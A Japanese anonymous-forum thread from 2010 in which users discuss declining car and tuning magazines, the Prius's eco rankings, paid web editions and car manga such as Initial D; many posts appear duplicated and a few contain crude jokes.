406 ：名無しさん＠そうだドライブへ行こう：2010/08/19(木) 09:37:39 ID:81ERqFWB0
あれ？「ドイツ プリウス ３年連続トップエコカー」だって
しかもプリウスは３年連続の１位。ＣＯ２排出も考慮ありで
ttp://www.tv-tokyo.co.jp/nms/ny_news/post_1117.html
「プリウスは世界で通用しない」「プリウスがガラパゴス」と
外車やディーゼル絶賛の評論家達は、１位の評価なんて無視なんだろうな。
ttp://www.carview.co.jp/green/special/212/
ttp://www.carview.co.jp/green/special/175/
しかもプリウスは３年連続の１位。ＣＯ２排出も考慮ありで
ttp://www.tv-tokyo.co.jp/nms/ny_news/post_1117.html
「プリウスは世界で通用しない」「プリウスがガラパゴス」と
外車やディーゼル絶賛の評論家達は、１位の評価なんて無視なんだろうな。
ttp://www.carview.co.jp/green/special/212/
ttp://www.carview.co.jp/green/special/175/
407 ：名無しさん＠そうだドライブへ行こう：2010/08/19(木) 15:07:14 ID:X0dP6KQL0
サスとかの手抜きがプリウスは酷いからね。エコのバランスが取れてないでまんせーはできんでしょ？
408 ：名無しさん＠そうだドライブへ行こう：2010/08/22(日) 23:19:44 ID:NRcOB5V40
527 名前：匿名希望さん ：2010/08/21(土) 13:39:56
Cyber Xとは、日本で唯一の新車スクープ誌「New Model Magazine X」
（三栄書房刊・毎月26日発売）の公式Webサイトです。
開設は2006年3月で、４年目にリニューアルをいたしました。
528 名前：匿名希望さん ：2010/08/21(土) 20:29:09
「サイバーX」って名称
別のIT企業が先に使っているけど、
パクリ？ 盗用？
Cyber Xとは、日本で唯一の新車スクープ誌「New Model Magazine X」
（三栄書房刊・毎月26日発売）の公式Webサイトです。
開設は2006年3月で、４年目にリニューアルをいたしました。
528 名前：匿名希望さん ：2010/08/21(土) 20:29:09
「サイバーX」って名称
別のIT企業が先に使っているけど、
パクリ？ 盗用？
409 ：名無しさん＠そうだドライブへ行こう：2010/08/27(金) 21:55:11 ID:vKIUamWE0
>>407
サスペンションの手抜きは燃費軽減にどんな悪影響があるか筋道立てて教えてくれ
あと、どこが具体的に手抜きで、どういうデメリットが生じるのか説明してくれ
「エコのバランス」とは何なのか説明してくれ。
悪魔の説明はナシな。
サスペンションの手抜きは燃費軽減にどんな悪影響があるか筋道立てて教えてくれ
あと、どこが具体的に手抜きで、どういうデメリットが生じるのか説明してくれ
「エコのバランス」とは何なのか説明してくれ。
悪魔の説明はナシな。
410 ：名無しさん＠そうだドライブへ行こう：2010/08/28(土) 03:38:21 ID:FXUuHu9r0
>>409
夏休みの宿題早くやれよ。
夏休みの宿題早くやれよ。
411 ：名無しさん＠そうだドライブへ行こう：2010/08/28(土) 07:47:24 ID:hk+Pk2MG0
>410
ＩＤ変わってから書き込むなよ
ＩＤ変わってから書き込むなよ
412 ：名無しさん＠そうだドライブへ行こう：2010/08/28(土) 21:22:43 ID:HZ8DoQrd0
サビとり雑誌？オールドタイマーの表紙、印刷がやたら小さくなって最初バグかと思ったよ。
413 ：名無しさん＠そうだドライブへ行こう：2010/08/29(日) 21:48:13 ID:RNWbTW6Z0
>>412
5号ぐらい前から2回り位小さくなっている。最初はミスプリかと思ったが翌号以降も同じ。
カラー印刷は正直カネが掛かるのでコストダウンだと思われる。値上げするよりも削れるところを削った模様。
新車の広告とかの、単価の高い広告があまり入らない本ゆえ仕方が無いか。
5号ぐらい前から2回り位小さくなっている。最初はミスプリかと思ったが翌号以降も同じ。
カラー印刷は正直カネが掛かるのでコストダウンだと思われる。値上げするよりも削れるところを削った模様。
新車の広告とかの、単価の高い広告があまり入らない本ゆえ仕方が無いか。
414 ：名無しさん＠そうだドライブへ行こう：2010/08/29(日) 23:10:47 ID:QIuZIYGG0
雑誌の性格からいって新車の広告は場違いだしな。
涙ぐましい努力、嫌いじゃないな。
涙ぐましい努力、嫌いじゃないな。
415 ：名無しさん＠そうだドライブへ行こう：2010/08/30(月) 02:21:57 ID:jGD8yKrq0
>>410
もう夏休み終わるぞ？卒業しても就職先無いんだから思い出にやっとけよ。
もう夏休み終わるぞ？卒業しても就職先無いんだから思い出にやっとけよ。
416 ：名無しさん＠そうだドライブへ行こう：2010/08/30(月) 19:19:23 ID:96WICfYJ0
ベスト・オブ・ナビ・トーク〈1984‐1... (Navi books) 徳大寺 有恒、大川 悠、 舘内 端 (単行本 - 1992/12)
新品: ￥ 3,675
1 新品 ￥ 3,675より16 中古品 ￥ 1より
は面白い
新品: ￥ 3,675
1 新品 ￥ 3,675より16 中古品 ￥ 1より
は面白い
417 ：名無しさん＠そうだドライブへ行こう：2010/08/31(火) 16:23:04 ID:mtSpOvZJ0
もう夏休みは終わるなあ…早く宿題やれよ～
418 ：名無しさん＠そうだドライブへ行こう：2010/09/03(金) 00:03:38 ID:bhmKEhlC0
>>366
アイツ、クルマやブランドのコンセプト理解しようとする頭が無さすぎ
アイツ、クルマやブランドのコンセプト理解しようとする頭が無さすぎ
419 ：名無しさん＠そうだドライブへ行こう：2010/09/08(水) 20:04:50 ID:XZYvANcI0
4×4マガジン 紙媒体撤退、デジ移行。
最近ではチラ見して好きな記事の時だけ買ってた。
まあ実質休刊なんで残念ですなぁ
デジだと見て買えないんでもう買うこと無くなるなぁ…
最近ではチラ見して好きな記事の時だけ買ってた。
まあ実質休刊なんで残念ですなぁ
デジだと見て買えないんでもう買うこと無くなるなぁ…
420 ：名無しさん＠そうだドライブへ行こう：2010/09/08(水) 20:34:22 ID:2mUEJIu80
カーボーイ
もう昔のDIY雑誌の面影全くないな
久しぶりに読んでみたが「車高調特集」とか何考えてるんだ？
そんなのはオプションとかに任せてやることあるだろ
もう昔のDIY雑誌の面影全くないな
久しぶりに読んでみたが「車高調特集」とか何考えてるんだ？
そんなのはオプションとかに任せてやることあるだろ
421 ：名無しさん＠そうだドライブへ行こう：2010/09/08(水) 20:41:22 ID:1XxEn4L50
422 ：名無しさん＠そうだドライブへ行こう：2010/09/08(水) 21:20:50 ID:4DuR2y+D0
そういや、ＣＧ誌のベンツって今も無料で借りてるやつ？
先代のは購入しない理由をいろいろつけてて微妙な気分になった、鹿が激突する事故とかあったし。
先代のは購入しない理由をいろいろつけてて微妙な気分になった、鹿が激突する事故とかあったし。
423 ：名無しさん＠そうだドライブへ行こう：2010/09/08(水) 21:23:27 ID:2mUEJIu80
評論家の車も自分の金で買ってる奴なんて殆どいないんだからどうでもいい話のような
この世界タカリの集まりでしょ
この世界タカリの集まりでしょ
424 ：名無しさん＠そうだドライブへ行こう：2010/09/08(水) 21:27:41 ID:XZYvANcI0
425 ：名無しさん＠そうだドライブへ行こう：2010/09/09(木) 18:03:36 ID:DX3TymEi0
>423
長期テスト車両は購入が基本、Ｅクラスは既にやり終わってたけどディーゼルが設定されたので借用して始めたって。
長期テスト車両は購入が基本、Ｅクラスは既にやり終わってたけどディーゼルが設定されたので借用して始めたって。
426 ：名無しさん＠そうだドライブへ行こう：2010/09/09(木) 22:01:21 ID:2YygGdWB0
427 ：名無しさん＠そうだドライブへ行こう：2010/09/09(木) 23:47:50 ID:oTBoFYLq0
428 ：名無しさん＠そうだドライブへ行こう：2010/09/10(金) 00:15:36 ID:jRK4jr1B0
>>427
オプションとかも10年前に比べて厚みが半分だね
もうこの手の雑誌は共倒れしかないのかもね
今時車高調のインプレなんてネットで集めた方が余程マシだし整備関係もネットの方が充実してる
カーボーイは読み応えが昔はあったけど今じゃホント薄っぺらい内容
10年ぐらい前から変なショップのネタに偏重し始めたときに嫌な予感はしてたけどさ
もう読む価値ないわ
オプションとかも10年前に比べて厚みが半分だね
もうこの手の雑誌は共倒れしかないのかもね
今時車高調のインプレなんてネットで集めた方が余程マシだし整備関係もネットの方が充実してる
カーボーイは読み応えが昔はあったけど今じゃホント薄っぺらい内容
10年ぐらい前から変なショップのネタに偏重し始めたときに嫌な予感はしてたけどさ
もう読む価値ないわ
429 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 00:17:42 ID:WmBHHWlZ0
>>428
そもそもチューニングしようとする人か居なくなっちゃったしな。正直この2誌はお先真っ暗。
テコ入れするとしたら、サビ取り雑誌でお馴染みのケルン石塚氏をアドバイザーとして招き入れて
無い部品は旋盤回して作ったりコンロッド溶接延長するとか指導する本にするかｗ
そもそもチューニングしようとする人か居なくなっちゃったしな。正直この2誌はお先真っ暗。
テコ入れするとしたら、サビ取り雑誌でお馴染みのケルン石塚氏をアドバイザーとして招き入れて
無い部品は旋盤回して作ったりコンロッド溶接延長するとか指導する本にするかｗ
430 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 00:18:42 ID:noTB/vKi0
carviewのニュース等々読んでいると下のほうにツイッターの一般人コメントが出る時があるけど、あれウザ過ぎ
ニュースだけ読みたいのに余計なコメが入るから邪魔
ニュースだけ読みたいのに余計なコメが入るから邪魔
431 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 04:16:14 ID:b1/G8t1tP
あそこの運営基本的に頭良くないよね
432 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 10:17:21 ID:noTB/vKi0
みんからユーザーの評判も良くない
掲示板が完全に2ch化して欲しい情報が得られない
掲示板が完全に2ch化して欲しい情報が得られない
433 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 13:06:23 ID:JZXp/aqMO
チューニング雑誌いらない
434 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 13:46:37 ID:2O5aFcWe0
ベストカーで連載してる「F」が最新号で妙に投げやりな構成なのが気になる。
F打ち切り＆月刊化か？
F打ち切り＆月刊化か？
435 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 14:49:09 ID:BidNTjGj0
最新号のベストカー
相変わらず妄想記事満載
ホリデーオート
これもどうでもいいような記事
オプション２
もうねアホかと
この本最盛期の1/3くらいの厚みしかないのなｗ
広告ほとんどなくなってる
相変わらず妄想記事満載
ホリデーオート
これもどうでもいいような記事
オプション２
もうねアホかと
この本最盛期の1/3くらいの厚みしかないのなｗ
広告ほとんどなくなってる
436 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 15:17:38 ID:MiOBamuh0
カーボーイは読者のほとんどをヘタレ扱いした雑誌だろ。この業界が廃れるのも当然だ。
437 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 16:24:06 ID:b1/G8t1tP
無茶なチューニングでブローさせたGT-Rをクレーム修理させるような業界じゃ廃れるのも止む無し
438 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 16:39:00 ID:yt9ZJUjbP
走り屋雑誌はアングラ感やガキっぽさが無くなったのが痛いね
ゲームのGTみたいなお上品な感じで金持ちにしか相手にしてない感じ
昔みたいにストリート潜入とかストリートスポット紹介とか走り屋チーム紹介とか
あと自作技もほとんど無くなった
ゲームのGTみたいなお上品な感じで金持ちにしか相手にしてない感じ
昔みたいにストリート潜入とかストリートスポット紹介とか走り屋チーム紹介とか
あと自作技もほとんど無くなった
439 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 16:57:08 ID:BidNTjGj0
440 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 18:47:50 ID:gURknp5w0
車高調なんて車高変えながらインプレしなきゃ意味無いし、そうすると
どっちかって言うと製品のインプレよりも車高によるセッティングの記事になっちゃうしね。
結局部品屋の提灯持ちやってるだけじゃ続かないよな。
どっちかって言うと製品のインプレよりも車高によるセッティングの記事になっちゃうしね。
結局部品屋の提灯持ちやってるだけじゃ続かないよな。
441 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 20:13:46 ID:b1/G8t1tP
TEINのカタログなんか見てもワゴン用がメインだったしｗ
442 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 21:42:36 ID:gURknp5w0
>>441
ワゴン用なんて車高は下げたいけど乗り心地は、、なんて言うヤツ用ジャン。
でもそれで推奨車高だけ試してたら車高調の意味がない。
結局商品の紹介宣伝でしかないんだよな。
ブラケットも調整できてプリロード変えないで車高変えたり、
逆に車高そのままでプリ変えたりとかね。
そこまでテストして初めてインプレの意味が有ると思うんだ。
ワゴン用なんて車高は下げたいけど乗り心地は、、なんて言うヤツ用ジャン。
でもそれで推奨車高だけ試してたら車高調の意味がない。
結局商品の紹介宣伝でしかないんだよな。
ブラケットも調整できてプリロード変えないで車高変えたり、
逆に車高そのままでプリ変えたりとかね。
そこまでテストして初めてインプレの意味が有ると思うんだ。
443 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 22:25:54 ID:8L423Sed0
444 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 22:40:30 ID:qJZqWx5R0
87 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 17:51:33
電気自動車特集別冊
ひところのベストカーみたく
三菱マンセーで気味が悪い
88 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 19:30:40
あと韓国、中国車マンセーもな。
電気自動車特集別冊
ひところのベストカーみたく
三菱マンセーで気味が悪い
88 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 19:30:40
あと韓国、中国車マンセーもな。
445 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 22:54:27 ID:yt9ZJUjbP
昔のオプションだと
サスの調整してインプレしてたな
テスターが二人いて、｢オレはこの設定が良かった｣と
サスの調整してインプレしてたな
テスターが二人いて、｢オレはこの設定が良かった｣と
446 ：名無しさん＠そうだドライブへ行こう：2010/09/11(土) 23:18:31 ID:lY8CwTsA0
>>6
その書き込みをした頃にはマジで4×4マガジンが無くなるとは思わんかっただろうな
今月末発売の11月号で紙媒体終了,次号からweb版に以降という事で今売ってる10月号を見てみたが
クソつまらない,広告少ない,高い,薄いの負の連鎖これじゃ買わないよ・・・
でも次号だけは元読者として思いでのつもりで買うから編集部員は頑張れ
それにしても出版社名が「4×4マガジン社」なのに本家が無くなるとは・・・
その書き込みをした頃にはマジで4×4マガジンが無くなるとは思わんかっただろうな
今月末発売の11月号で紙媒体終了,次号からweb版に以降という事で今売ってる10月号を見てみたが
クソつまらない,広告少ない,高い,薄いの負の連鎖これじゃ買わないよ・・・
でも次号だけは元読者として思いでのつもりで買うから編集部員は頑張れ
それにしても出版社名が「4×4マガジン社」なのに本家が無くなるとは・・・
447 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 01:13:36 ID:xYutGmqLO
VIPスタイルやＫスタイルも付録つけて中身ぺらぺら
448 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 03:17:16 ID:kG+jlxvpP
エコカー補助金も終わってこの冬越えたら一気に何誌か減りそうだな
449 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 06:32:14 ID:x4oQ2wDA0
紙媒体がうまくいかなくなったらwebで
つー考えがどうかと。。。
車雑誌なんかやっている連中より
webのコンテンツ作っている人たちのほうが
はるかに優秀でしょう。
つー考えがどうかと。。。
車雑誌なんかやっている連中より
webのコンテンツ作っている人たちのほうが
はるかに優秀でしょう。
450 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 06:38:10 ID:Dj1AfwJm0
まぁ返品の山抱えたらwebに逃げる気持ちも分からんでも無いが
でも立ち読みだから読んでた人も金払ってまで読まないだろうね
でも立ち読みだから読んでた人も金払ってまで読まないだろうね
451 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 09:42:28 ID:APtgP9aOP
>>447
しかしカスタム雑誌はエゴカー補助金は関係ない強さがある
これ以上は減らないんじゃ？
VIPはVIPCAR、VIPスタイル
ワゴンはワゴニスト、スタイルワゴン
軽はKスタイル、Kカーマガジンローライダーはローライダーズ
ラグはJラグ(L/Sみたいな向こうの最新シーンを解説する雑誌が不在・・・)
だいぶ絞られたな
しかしカスタム雑誌はエゴカー補助金は関係ない強さがある
これ以上は減らないんじゃ？
VIPはVIPCAR、VIPスタイル
ワゴンはワゴニスト、スタイルワゴン
軽はKスタイル、Kカーマガジンローライダーはローライダーズ
ラグはJラグ(L/Sみたいな向こうの最新シーンを解説する雑誌が不在・・・)
だいぶ絞られたな
452 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 10:20:22 ID:PQ0MamdN0
453 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 18:24:08 ID:xYutGmqLO
付録ばっかつけやがって立ち読みできねーじゃん
454 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 21:47:52 ID:gbDn7AmO0
>>453
立ち読み対策で付録つけている。ヲタ向け漫画雑誌やゲームしてよく使われる手口。
もういっその事、AV女優がオマンコくぱぁしている写真載せて、イシハラシール張られて
立ち読み不可にしちまえ＜全誌
立ち読み対策で付録つけている。ヲタ向け漫画雑誌やゲームしてよく使われる手口。
もういっその事、AV女優がオマンコくぱぁしている写真載せて、イシハラシール張られて
立ち読み不可にしちまえ＜全誌
455 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 21:48:43 ID:gbDn7AmO0
456 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 22:53:42 ID:iGgnJtrS0
457 ：名無しさん＠そうだドライブへ行こう：2010/09/12(日) 23:34:26 ID:P27D6gIS0
>>456
そうなんだよなぁ
立ち読み出来なくなってからむしろ買わなくなった雑誌は多いｗ
ネットで少しだけ誌面紹介してたりするのもあるが自分の目的の所が解からないなら
もういいやでスルーしちゃう→そして廃刊
そんなデスマーチ
そうなんだよなぁ
立ち読み出来なくなってからむしろ買わなくなった雑誌は多いｗ
ネットで少しだけ誌面紹介してたりするのもあるが自分の目的の所が解からないなら
もういいやでスルーしちゃう→そして廃刊
そんなデスマーチ
458 ：名無しさん＠そうだドライブへ行こう：2010/09/16(木) 16:00:51 ID:J7vS06oh0
Auto Sound 誌を買った人は居ますか？
近所の本屋（津市）は取り扱いしなくなってアマゾンでも取り扱いしなくなりました。
近所の本屋（津市）は取り扱いしなくなってアマゾンでも取り扱いしなくなりました。
459 ：名無しさん＠そうだドライブへ行こう：2010/09/16(木) 23:57:43 ID:C0i+f9hP0
>>456
エロ本がまさにそれだな。エロ小説家都知事がいらない事してコンビニで立ち読み出来なくなってしまった。
→販売部数激減でｱﾎﾞｰﾝ。コンビニのエロ本売り場も縮小傾向だし。
そのうち自動車雑誌も数誌しか置かなくなっちゃうんでないの？
エロ本がまさにそれだな。エロ小説家都知事がいらない事してコンビニで立ち読み出来なくなってしまった。
→販売部数激減でｱﾎﾞｰﾝ。コンビニのエロ本売り場も縮小傾向だし。
そのうち自動車雑誌も数誌しか置かなくなっちゃうんでないの？
460 ：名無しさん＠そうだドライブへ行こう：2010/09/17(金) 00:22:58 ID:TtpxxDh6P
>>458
富士山でもだめ？
富士山でもだめ？
461 ：名無しさん＠そうだドライブへ行こう：2010/09/17(金) 17:15:57 ID:PmLytyH6O
コンビニでカスタム系の本はほとんど見ない
>>460
ありがとう。アマゾンで買えました。
ありがとう。アマゾンで買えました。
463 ：名無しさん＠そうだドライブへ行こう：2010/09/17(金) 18:15:55 ID:qrnHxlgNP
>>461
田舎だと置いてある
田舎だと置いてある
464 ：名無しさん＠そうだドライブへ行こう：2010/09/17(金) 23:37:14 ID:qZ9MGB6p0
新装開店したアクティブビーグルが迷走の末に姉妹誌ザッカーと統合
あの雑誌、ザッカーに乗っ取られてから寿命短いだろうと思ったら本当にそのとおりに・・
あの雑誌、ザッカーに乗っ取られてから寿命短いだろうと思ったら本当にそのとおりに・・
465 ：名無しさん＠そうだドライブへ行こう：2010/09/17(金) 23:44:58 ID:DLzBX6GS0
466 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 07:45:12 ID:PG6ovwOm0
もう自動車雑誌も終わりだわな
WEBの情報の方が余程有益
黙ってても売れてた時代に記事とか工夫せずに
自称ジャーナリストの小学生レベルの作文で紙面潰してたツケだね
未だに河口学みたいなアホ使ってるし
シビックRユーロを輸入させたのは俺ｗみたいな事書いてる時点で中二病だわな
WEBの情報の方が余程有益
黙ってても売れてた時代に記事とか工夫せずに
自称ジャーナリストの小学生レベルの作文で紙面潰してたツケだね
未だに河口学みたいなアホ使ってるし
シビックRユーロを輸入させたのは俺ｗみたいな事書いてる時点で中二病だわな
467 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 10:19:44 ID:SBn+4V/Y0
>464
ザッカーはベストカー異常に特定メーカーの持ち上げが酷いしなぁ。
それでも好きなメーカーの開発者インタビューは面白いからいいんだけど、計算もろくにできないベテランライターとかの記事は勘弁ｗ
ザッカーはベストカー異常に特定メーカーの持ち上げが酷いしなぁ。
それでも好きなメーカーの開発者インタビューは面白いからいいんだけど、計算もろくにできないベテランライターとかの記事は勘弁ｗ
468 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 13:52:05 ID:CtFc8czV0
次に無くなりそうな自動車,バイク雑誌はなんですか？
みんなで予想しましょう！
ちなみに地方ではチャンプロードは今でも普通に売ってます
みんなで予想しましょう！
ちなみに地方ではチャンプロードは今でも普通に売ってます
469 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 13:53:04 ID:CtFc8czV0
次に無くなりそうな自動車,バイク雑誌はなんですか？
みんなで予想しましょう！
ちなみに地方ではチャンプロードは今でも普通に売ってます
みんなで予想しましょう！
ちなみに地方ではチャンプロードは今でも普通に売ってます
470 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 15:57:09 ID:uStbAW2xP
ザッカーこそ無くてもいい雑誌だよねｗ
471 ：名無しさん＠そうだドライブへ行こう ：2010/09/18(土) 16:05:31 ID:Cgqj8QFT0
472 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 19:00:52 ID:gt66zlH00
雑貨ーはいらないね
土屋のオナニー記事と河口のトンチンカンなオナニー記事が売りとかどんだけMなんだよｗ
土屋のオナニー記事と河口のトンチンカンなオナニー記事が売りとかどんだけMなんだよｗ
473 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 19:31:30 ID:uStbAW2xP
ピストン運動禿沢とかまだいるの？
474 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 21:05:46 ID:XdfwgmYK0
475 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 21:15:07 ID:Bc6sII0M0
中国でオートサウンド発売（不定期）
476 ：名無しさん＠そうだドライブへ行こう：2010/09/18(土) 23:18:42 ID:kxX8XgrR0
>>474
Kスペは出版社も編集もまるまる変わっちゃってるから完全に別物だね。
Kスペは出版社も編集もまるまる変わっちゃってるから完全に別物だね。
477 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 02:07:38 ID:DsB4zZy20
アクティブビーグルは普通にEVやHVのドレスアップとかチューニングばかりやってた頃は面白かったのだが・・
クルマのウンチクや新車情報云々なんて要らないって 最初からザッカーでやって欲しかった
クルマのウンチクや新車情報云々なんて要らないって 最初からザッカーでやって欲しかった
478 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 02:14:38 ID:mfhnTl2f0
479 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 02:45:28 ID:oUMVenug0
チューニング系雑誌が廃れたのは
客（読者）やショップが雑誌上でチューン自慢する場になった事で
違法チューンや事故でパクられたらショップも出版社も編集部も
（親方日の丸から）共同責任負わされるからだよ。
客（読者）やショップが雑誌上でチューン自慢する場になった事で
違法チューンや事故でパクられたらショップも出版社も編集部も
（親方日の丸から）共同責任負わされるからだよ。
480 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 07:39:41 ID:AMTyRxdy0
つーか2000年前後のイニＤブームはスポーツカー市場歪めたよな
481 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 22:19:27 ID:jDyHdGjc0
「マガジンX」の目次ページで
唯一肩書きの無い下っ端編集部員が
ミスしたとか名前晒されて
公開処刑されてたけど、
マトモな体質の所はそんなことしないと思われ。
中国のコピー車を、デミオの新車とか
八幡製鉄所は、京都にあったとか
ウソ記事書いても、スルーしたくせにｗ
唯一肩書きの無い下っ端編集部員が
ミスしたとか名前晒されて
公開処刑されてたけど、
マトモな体質の所はそんなことしないと思われ。
中国のコピー車を、デミオの新車とか
八幡製鉄所は、京都にあったとか
ウソ記事書いても、スルーしたくせにｗ
482 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 22:26:25 ID:c2Vd0V7h0
483 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 23:07:04 ID:834MFAVBO
484 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 23:17:48 ID:u0DZqOOO0
>>483
仁Dブームは凄かったけど今はひたすら話が進まないんだよなぁｗ
箱根編何年やってるんだと思って単行本の初版の日付を見ると愕然とするｗｗ
あと仁Dに出してもらえなかったスポ車はとても地味な存在になってしまったｗｗｗ
ミラージュ,AE92以降のレビン･トレノ,2リッターになってからのシビックR,インテR
FFのセリカ,他にも色々あるが出てくる車が偏ってる
ランエボが大好きな俺はいつも悪役にされてるのが悲しい・・・
スレ内容に戻すが仁Dも終わりそうな自動車モノに入れといていいだろうか？
仁Dブームは凄かったけど今はひたすら話が進まないんだよなぁｗ
箱根編何年やってるんだと思って単行本の初版の日付を見ると愕然とするｗｗ
あと仁Dに出してもらえなかったスポ車はとても地味な存在になってしまったｗｗｗ
ミラージュ,AE92以降のレビン･トレノ,2リッターになってからのシビックR,インテR
FFのセリカ,他にも色々あるが出てくる車が偏ってる
ランエボが大好きな俺はいつも悪役にされてるのが悲しい・・・
スレ内容に戻すが仁Dも終わりそうな自動車モノに入れといていいだろうか？
485 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 23:22:28 ID:c2Vd0V7h0
486 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 23:46:32 ID:mfhnTl2f0
>>484
仁Dが終わると、タダでさえ部数減少中で頭を抱えるヤンマガ編集部と講談社が更に傾くので無理ｗ
仁Dが終わると、タダでさえ部数減少中で頭を抱えるヤンマガ編集部と講談社が更に傾くので無理ｗ
487 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 23:50:25 ID:0fYaYhip0
488 ：名無しさん＠そうだドライブへ行こう：2010/09/19(日) 23:59:39 ID:mfhnTl2f0
489 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 02:50:32 ID:n0H58x8C0
イニDまだ続いてたんだ。
490 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 04:53:21 ID:2rW9mq2sP
Ｃ１ランナーｗ
491 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 09:36:28 ID:4LC6DPmQ0
C1は意外と面白いけどな。
走り始めると途端につまらなくなるがｗ
走り始めると途端につまらなくなるがｗ
492 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 09:56:41 ID:Wv5iccY70
最近じゃヤンマガの掲載順も湾岸＞＞＞イニDだしな
湾岸とか「この高速は昔川だった」みたいなマメ知識あっておもしろいと思うよ
俺ももあそこの橋脚見て「なんだこれ？」って思ってたし
湾岸とか「この高速は昔川だった」みたいなマメ知識あっておもしろいと思うよ
俺ももあそこの橋脚見て「なんだこれ？」って思ってたし
493 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 10:29:39 ID:KLtfxLTf0
車板に出入りしてるような人間でも最近は遵法基地外みたいなの多いから
ああいう漫画も昔ほどにはウケないんだろうな。
ああいう漫画も昔ほどにはウケないんだろうな。
アーケード版イニD Ver.2、3は結構やってたなw
(RX-7 Spirit-Rを使ってた)
>>484
いつ終わるんだろう?w<イニD
良くも悪くも、スポ車に光を当ててるよね。
FF系で出てるのって、シビックSiR(EG6)シビックType-R(EK9)、インテグラType-R(DC2)ぐらいじゃないかな?
まあ、ランエボはちょっとワル顔だから…w
＞仁Dも終わりそうな自動車モノに入れといていいだろうか？
カウンタック、彼女のカレラとか、スーパーカー系の漫画は終わりそうな予感。
(しかし、カウンタックはなんであんなことになってんだろう…?w)
ジゴロ次五郎は上手いこと終わらせたと思うw
(RX-7 Spirit-Rを使ってた)
>>484
いつ終わるんだろう?w<イニD
良くも悪くも、スポ車に光を当ててるよね。
FF系で出てるのって、シビックSiR(EG6)シビックType-R(EK9)、インテグラType-R(DC2)ぐらいじゃないかな?
まあ、ランエボはちょっとワル顔だから…w
＞仁Dも終わりそうな自動車モノに入れといていいだろうか？
カウンタック、彼女のカレラとか、スーパーカー系の漫画は終わりそうな予感。
(しかし、カウンタックはなんであんなことになってんだろう…?w)
ジゴロ次五郎は上手いこと終わらせたと思うw
495 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 21:21:35 ID:WQIXUFrp0
「彼女のカレラ」はむしろこれからだと思うがな・・・
いつも思うんだけど、車漫画って登場人物がチートすぎるのよ。
普通の人の目線から見たスーパーカーやレース、ショップなんかの
「クルマに興味無かった人間ならではの視点」
がうまく描かれてるのが、かなり新鮮に感じる。
しかしそれでいて、主人公にもチート属性が隠れている伏線が張られて
いるので、今後の展開具合では化けさせる事もできるし。
いつも思うんだけど、車漫画って登場人物がチートすぎるのよ。
普通の人の目線から見たスーパーカーやレース、ショップなんかの
「クルマに興味無かった人間ならではの視点」
がうまく描かれてるのが、かなり新鮮に感じる。
しかしそれでいて、主人公にもチート属性が隠れている伏線が張られて
いるので、今後の展開具合では化けさせる事もできるし。
496 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 22:47:57 ID:kTq/bcf00
>495
> 「彼女のカレラ」はむしろこれからだと思うがな・・・
オフ会の微妙な空気が絶妙なのはどうかと思うｗ
> 「彼女のカレラ」はむしろこれからだと思うがな・・・
オフ会の微妙な空気が絶妙なのはどうかと思うｗ
497 ：名無しさん＠そうだドライブへ行こう：2010/09/20(月) 23:16:43 ID:TNaeGRg70
＞カウンタック、彼女のカレラとか、
ところが湾岸とか好きだった人から見ると
作者の車好きの低度の浅さが気になるんだよな。
ところが湾岸とか好きだった人から見ると
作者の車好きの低度の浅さが気になるんだよな。
498 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 00:16:45 ID:gE8dQneM0
499 ：名無しさん＠そうだドライブへ行こう：2010/09/21(火) 03:46:38 ID:Oivaw+cj0
